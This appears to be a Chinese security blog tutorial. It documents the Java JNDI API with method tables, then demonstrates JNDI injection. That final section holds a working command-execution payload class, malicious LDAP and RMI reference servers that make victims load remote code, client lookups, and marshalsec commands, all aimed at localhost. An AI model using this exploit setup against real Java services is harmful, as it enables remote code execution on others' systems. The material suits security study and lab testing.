JNDI注入

1、什么是 JNDI

JNDI(Java Naming and Directory Interface, Java命名和目录接口),JNDI API 映射为特定的命名(Name)和目录服务(Directory)系统,使得Java应用程序可以和这些命名(Name)和目录服务(Directory)之间进行交互,在交互中访问的对象若本地不存在,可以进行远程获取。

JNDI可访问的现有的目录及服务有: DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。

2、JNDI 可以干啥

JDK 提供的 JNDI 功能的包:

  • javax.naming:命名操作,操作的是 Java 对象。它包含了命名服务的类和接口,该包定义了Context 接口和 InitialContext 类
  • javax.naming.directory:目录操作,操作的是 Java 对象的属性。它定义了 DirContext 接口和 InitialDir- Context 类
  • javax.naming.event:在命名目录服务器中请求事件通知
  • javax.naming.ldap:提供LDAP(轻型目录访问协议)支持
  • javax.naming.spi:允许动态插入不同实现

JNDI 主要有两部分组成:应用程序编程接口和服务供应商接口。应用程序编程接口提供了Java应用程序访问各种命名(Name)和目录服务(Directory)的功能,服务供应商接口提供了任意一种服务的供应商使用的功能。

2.1 Name

Name 很好理解,就是命名。将 Java 对象以某个名称的形式绑定(binding)到一个容器环境(Context)中,以后调用容器环境(Context)的查找(lookup)方法又可以查找出某个名称所绑定的 Java 对象。简单来说,就是把一个 Java 对象和一个特定的名称关联在一起,方便容器(Context)后续使用。

2.2 Directory

JNDI 中的目录(Directory)是指将一个对象的所有属性信息保存到一个容器环境中。JNDI的目录(Directory)原理与JNDI的命名(Naming)原理非常相似,主要的区别在于目录容器环境中保存的是对象的属性信息,而不是对象本身。举个例子,Name的作用是在容器环境中绑定一个Person对象,而Directory的作用是在容器环境中保存这个Person对象的属性,比如说age=10,name=小明等等。实际上,二者往往是结合在一起使用的

3、怎么操作 JNDI

jdni 相关 api 操作介绍

3.1 Name

3.1.1 Context 接口和 InitialContext类

Context 是命名服务的核心接口,提供对象查找,绑定/解除绑定,重命名对象,创建和销毁子上下文等操作。

InitialContext 类实现了 Context 接口,是访问命名服务的起始上下文,通过它可查找对象和子上下文。

返回类型

方法

说明

Object

addToEnvironment​(String propName,Object propVal)

将新的环境属性添加到此上下文的环境中。

void

bind​(String name,Object obj)

将名称绑定到对象。

void

bind​(Name name,Object obj)

将名称绑定到对象。

void

close​()

关闭此上下文。

String

composeName​(String name,String prefix)

使用与此上下文相关的名称组成此上下文的名称。

Name

composeName​(Name name,Name prefix)

使用与此上下文相关的名称组成此上下文的名称。

Context

createSubcontext​(String name)

创建并绑定一个新的上下文。

Context

createSubcontext​(Name name)

创建并绑定一个新的上下文。

void

destroySubcontext​(String name)

销毁命名上下文并将其从命名空间中移除。

void

destroySubcontext​(Name name)

销毁命名上下文并将其从命名空间中移除。

Hashtable

getEnvironment​()

检索对此上下文有效的环境。

String

getNameInNamespace​()

在其自己的命名空间中检索此上下文的全名。

NamingEnumeration

list​(String name)

枚举在命名上下文中绑定的名称,以及绑定到它们的对象的类名。

NamingEnumeration

list​(Name name)

枚举在命名上下文中绑定的名称,以及绑定到它们的对象的类名。

NamingEnumeration

listBindings​(String name)

枚举在命名上下文中绑定的名称,以及绑定到它们的对象。

NamingEnumeration

listBindings​(Name name)

枚举在命名上下文中绑定的名称,以及绑定到它们的对象。

Object

lookup​(String name)

检索命名对象。

Object

lookup​(Name name)

检索命名对象。

Object

lookupLink​(String name)

检索命名对象,遵循除名称的终端原子组件之外的链接。

Object

lookupLink​(Name name)

检索命名对象,遵循除名称的终端原子组件之外的链接。

void

rebind​(String name,Object obj)

将名称绑定到对象,覆盖任何现有的绑定。

void

rebind​(Name name,Object obj)

将名称绑定到对象,覆盖任何现有的绑定。

Object

removeFromEnvironment​(String propName)

从此上下文的环境中删除环境属性。

void

rename​(String oldName,String newName)

将新名称绑定到绑定到旧名称的对象,并取消绑定旧名称。

void

rename​(Name oldName, Name newName)

将新名称绑定到绑定到旧名称的对象,并取消绑定旧名称。

void

unbind​(String name)

取消绑定命名对象。

void

unbind​(Name name)

取消绑定命名对象。

3.1.2 Name 接口

对应于命名服务概念中的对象名称。它的具体实现可能是一个简单的字符串,也可能是一个复杂对象。CompoundName 类和 CompositeName 类均实现了 Name 接口,分别代表复合名称和混合名称。

返回类型

方法

描述

Name

add​(int posn,String comp)

在此名称中的指定位置添加单个组件。

Name

add​(String comp)

将单个组件添加到此名称的末尾。

Name

addAll​(int posn,Name n)

在此名称中的指定位置按顺序添加名称的组成部分。

Name

addAll​(Name suffix)

将名称的组成部分按顺序添加到该名称的末尾。

Object

clone​()

生成此名称的新副本。

int

compareTo​(Object obj)

将此名称与另一个名称进行比较以进行排序。

boolean

endsWith​(Name n)

确定此名称是否以指定的后缀结尾。

String

get​(intposn)

检索此名称的组件。

Enumeration

getAll​()

检索此名称的组件作为字符串枚举。

Name

getPrefix​(intposn)

创建一个名称,其组成部分由该名称的组成部分的前缀组成。

Name

getSuffix​(intposn)

创建一个名称,其组件由该名称中的组件的后缀组成。

boolean

isEmpty​()

确定此名称是否为空。

Object

remove​(intposn)

从此名称中删除一个组件。

int

size​()

返回此名称中的组件数。

boolean

startsWith​(Name n)

确定此名称是否以指定前缀开头。

3.1.3 Binding 类

Binding 类对应于命名服务概念中的绑定。一个Binding包含对象名称,对象的类名称,对象本身。

返回类型

方法

描述

String

getClassName​()

检索绑定到此绑定名称的对象的类名称。

Object

getObject​()

检索绑定到此绑定名称的对象。

void

setObject​(Object obj)

设置与此绑定关联的对象。

String

toString​()

生成此绑定的字符串表示形式。

3.1.4 Referenceable 接口和 Reference类

命名服务中对象的存储方式各不相同。有的将对象直接序列化,这时实现标准的 Serializable 接口接口。有的要将对象存储在命名系统外部,这就要用到 Referenceable 接口和 Reference 类了。Reference类包含了怎样构造出一个实际对象的信息,实际对象则需要实现Referenceable接口。

当将一个实现了 Referenceable 接口的对象绑定到 Context 时,实际上通过 getReference() 得到它的 Reference 进行绑定。而如何从 Reference 中创建出 Referenceable 实例,则由具体的SPI实现,JNDI客户不用关心。  

Referenable 接口:

返回类型

方法

描述

Reference

getReference​()

检索此对象的引用。

Reference 类:

类型

方法

描述

void

add​(int posn,RefAddr addr)

将地址添加到索引 posn 处的地址列表。

void

add​(RefAddr addr)

将地址添加到地址列表的末尾。

void

clear​()

从此引用中删除所有地址。

Object

clone​()

使用其地址的类名列表、类工厂名称和类工厂位置制作此引用的副本。

boolean

equals​(Object obj)

确定 obj 是否是与此引用具有相同地址(以相同顺序)的引用。

RefAddr

get​(int posn)

检索索引 posn 处的地址。

RefAddr

get​(String addrType)

检索具有地址类型“addrType”的第一个地址。

Enumeration

getAll​()

检索此引用中地址的枚举。

String

getClassName​()

检索此引用所引用的对象的类名。

String

getFactoryClassLocation​()

检索此引用所指对象的工厂位置。

String

getFactoryClassName​()

检索此引用所指对象的工厂的类名。

int

hashCode​()

计算此引用的哈希码。

Object

remove​(int posn)

从地址列表中删除索引 posn 处的地址。

int

size​()

检索此引用中的地址数。

String

toString​()

生成此引用的字符串表示形式。

3.2 Directory

3.2.1 DirContext 接口和 InitialDirContext 类

DirContext 是目录服务的核心接口,它扩展了 Context 接口,除了提供了命名服务的各种操作外,还提供了访问和更新目录对象属性的操作,以及 Search 操作。

InitialDirContext 类扩展 InitialContext 类并实现了DirContext接口,是访问目录服务的起始点。

binding/rebing/unbinding 等方法与 Context 类似,区别是各个方法中均添加了 Attributes 参数,表示绑定的是一个目录对象,其中有对象本身,还有对象的属性集合。这里不再列举。

返回类型

方法

描述

void

bind​(String name,Object obj,Attributes attrs)

将名称与关联的属性绑定到对象。

void

bind​(Name name,Object obj,Attributes attrs)

将名称与关联的属性绑定到对象。

DirContext

createSubcontext​(String name,Attributes attrs)

创建并绑定一个新的上下文,以及关联的属性。

DirContext

createSubcontext​(Name name,Attributes attrs)

创建并绑定一个新的上下文,以及关联的属性。

Attributes

getAttributes​(String name)

检索与命名对象关联的所有属性。

Attributes

getAttributes​(String name,String[] attrIds)

检索与命名对象关联的选定属性。

Attributes

getAttributes​(Name name)

检索与命名对象关联的所有属性。

Attributes

getAttributes​(Name name,String[] attrIds)

检索与命名对象关联的选定属性。

DirContext

getSchema​(String name)

检索与命名对象关联的架构。

DirContext

getSchema​(Name name)

检索与命名对象关联的架构。

DirContext

getSchemaClassDefinition​(String name)

检索包含命名对象的类定义的架构对象的上下文。

DirContext

getSchemaClassDefinition​(Name name)

检索包含命名对象的类定义的架构对象的上下文。

void

modifyAttributes​(String name, int mod_op,Attributes attrs)

修改与命名对象关联的属性。

void

modifyAttributes​(String name,ModificationItem[] mods)

使用有序的修改列表修改与命名对象关联的属性。

void

modifyAttributes​(Name name, int mod_op,Attributes attrs)

修改与命名对象关联的属性。

void

modifyAttributes​(Name name,ModificationItem[] mods)

使用有序的修改列表修改与命名对象关联的属性。

void

rebind​(String name,Object obj,Attributes attrs)

将名称与关联的属性绑定到对象,覆盖任何现有的绑定。

void

rebind​(Name name,Object obj,Attributes attrs)

将名称与关联的属性绑定到对象,覆盖任何现有的绑定。

NamingEnumeration

search​(String name,String filterExpr,Object[] filterArgs,SearchControls

 cons)

在命名上下文或对象中搜索满足给定搜索过滤器的条目。

NamingEnumeration

search​(String name,String filter,SearchControls cons)

在命名上下文或对象中搜索满足给定搜索过滤器的条目。

NamingEnumeration

search​(String name,Attributes matchingAttributes)

在单个上下文中搜索包含指定属性集的对象。

NamingEnumeration

search​(String name,Attributes matchingAttributes,String[] attributesToReturn)

在单个上下文中搜索包含指定属性集的对象,并检索选定的属性。

NamingEnumeration

search​(Name name,String filterExpr,Object[] filterArgs,SearchControls cons)

在命名上下文或对象中搜索满足给定搜索过滤器的条目。

NamingEnumeration

search​(Name name,String filter,SearchControls cons)

在命名上下文或对象中搜索满足给定搜索过滤器的条目。

NamingEnumeration

search​(Name name,Attributes matchingAttributes)

在单个上下文中搜索包含指定属性集的对象。

NamingEnumeration

search​(Name name,Attributes matchingAttributes,String[] attributesToReturn)

在单个上下文中搜索包含指定属性集的对象,并检索选定的属性。

3.2.2 Attribute接口和Attributes接口

Attribute接口对应于目录服务概念中的属性。Attributes表示属性的集合。

3.2.3 SearchResult类和SearchControls类

SearchResult类继承自Binding类,表示DirContext的search操作的结果。SearchControls类用于对搜索操作进行更精细的控制,如指定搜索范围(Scope),时间限制(TimeLimit)和结果数量限制(CountLimit)。

3.3 Event

命名和目录服务事件 API javax.naming.event

1、EventContext 接口和 EventDirContext 接口分别表示支持事件通知的上下文,提供了添加和删除事件监听器的操作。

2、NamingEvent 类命名和目录服务产生的事件。包含一个type表示不同的事件类型。

3、NamingListener/NamespaceChangeListener/ObjectChangeListener/NamingListener 是处理NamingEvent事件监听器的接口,NamespaceChangeListener 和 ObjectChangeListener 是它的两个子接口,分别定义了各自感兴趣的 NamingEvent 事件类型的处理方法。

4、JNDI注入

攻击者开启的 ldap 或者 rmi 服务器,部署恶意的类,让目标机器请求。

Exploit.java

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class Exploit {
    public Exploit() throws Exception {
        Process proc = Runtime.getRuntime().exec("calc");
        BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
        StringBuffer sb = new StringBuffer();

        String line;
        while((line = br.readLine()) != null) {
            sb.append(line).append("\n");
        }

        String result = sb.toString();
        Exception e = new Exception(result);
        throw e;
    }

    public static void main(String[] args) throws Exception {
    }
}

4.1 LDAP+JNDI远程加载恶意类

LdapClient.java

import javax.naming.InitialContext;
import javax.naming.NamingException;



public class LdapClient {
    public static void main(String[] args) throws NamingException {
        Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/Exploit");
}}

LdapServer.java

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LdapServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] tmp_args) {
        System.out.println("start running ldap server"); //$NON-NLS-1$

        String[] args=new String[]{"http://127.0.0.1:8888/#Exploit"};
        int port = 1389;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    public static void run() {
        System.out.println("start running ldap server"); //$NON-NLS-1$

        String[] args=new String[]{"http://127.0.0.1:8888/#Log4j2RCE"};
        int port = 1389;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }

    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

4.2 RMI+JNDI远程加载恶意类

RmiClient.java

import javax.naming.Context;
import javax.naming.InitialContext;

public class RmiClient {

    public static void main(String[] args) throws Exception {

        String uri = "rmi://127.0.0.1:1099/aa";
        Context ctx = new InitialContext();
        ctx.lookup(uri);
    }
}

RmiServer.java

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;

public class RmiServer {

    public static void main(String args[]) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference ref = new Reference("ExecTest", "ExecTest", "http://127.0.0.1:8081/");
        ReferenceWrapper exploitWrapper = new ReferenceWrapper(ref);
        System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/Exploit'");
        registry.bind("Exploit", exploitWrapper);
    }
}

4.3 JNDI 涉及的工具

marshalsec 开启 ldap/rmi 服务,项目地址:GitHub - mbechler/marshalsec,下载的包需要编译,java8 环境下使用 maven 进行编译

mvn clean package -DskipTests

1)python 开启自带的 http 服务,默认当前目录为 web 目录

python3 -m http.server 8888

2)将恶意类的 java 文件放到 web 目录,javac 进行编译

javac Exploit.java

3)marshalsec 开启恶意的 ldap 服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"

4)marshalsec 开启恶意的 rmi 服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.2.18:8888/#ExportObject

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

信安成长日记

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值